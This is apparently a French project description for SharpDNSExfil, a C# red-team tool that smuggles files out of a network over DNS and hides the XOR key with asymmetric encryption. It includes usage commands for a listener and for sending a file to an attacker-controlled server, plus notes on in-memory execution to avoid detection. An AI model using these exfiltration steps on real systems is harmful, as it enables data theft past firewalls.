
Outil C# pour exfiltrer des fichiers via DNS en utilisant XOR et chiffrement asymétrique, conçu pour les engagements d'équipe rouge avec des connexions sortantes restreintes.
SharpDNSExfil est un outil d'exfiltration écrit en C#. L'objectif principal est d'exfiltrer tous les fichiers « sur disque » sans avoir à se soucier des restrictions de connexion sortante.
J'ai obtenu un RCE aveugle lors de mon intervention et il s'est avéré que la machine distante dispose d'une protection pare-feu qui n'autorise pas les connexions sortantes et m'a donné du mal à obtenir une connexion inverse. La bonne nouvelle, c'est que le serveur DNS peut résoudre les domaines publics et peut me joindre via DNS. Le problème, c'est que je n'ai toujours pas pu obtenir de reverse shell, je pouvais lire quelques petites sorties, mais no bueno. J'ai donc eu l'idée d'automatiser le processus via uniquement le DNS et de récurser toutes les étapes, et ça fonctionne enfin !
_ATTENTION : L'ensemble du processus a été testé uniquement via un serveur DNS public personnalisé mais n'a pas été entièrement testé dans un environnement d'entreprise réel. Donc utilisez-le à vos propres risques ! _
Tous les octets exfiltrés sont XORés avec une clé générée aléatoirement. Vous pourriez penser que la clé sera alors en texte clair au niveau réseau (Wireshark le montrera). Avec l'option --encrypt, c'est là que le chiffrement asymétrique entre en jeu : une clé publique codée en dur chiffrera la clé XOR. La machine locale (vous) attendra une forme chiffrée de la clé, le script Python déchiffrera automatiquement la clé avec sa clé privée codée en dur. Le reste des données transmises sera XORé pour revenir à ses octets d'origine. Donc, changez toujours les paires de clés s'il vous plaît
| Avant chiffrement | Après chiffrement |
|---|---|
![]() | ![]() |
dnsserver.py. Les options sont les suivantes :python3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
Les étapes et processus de SharpDNSExfil doivent être exécutés entièrement en mémoire sans toucher au disque pour éviter de laisser des déchets pendant l'intervention. SharpDNSExfil informera de chaque étape ou processus qu'il effectue en arrière-plan avec l'option --verbose. Chaque octet envoyé est encodé par XOR et la clé sera ensuite chiffrée avec un chiffrement asymétrique pour éviter une clé en texte clair dans le trafic réseau. Soyez extrêmement prudent et prenez toujours des notes et faites du nettoyage sur les biens du client.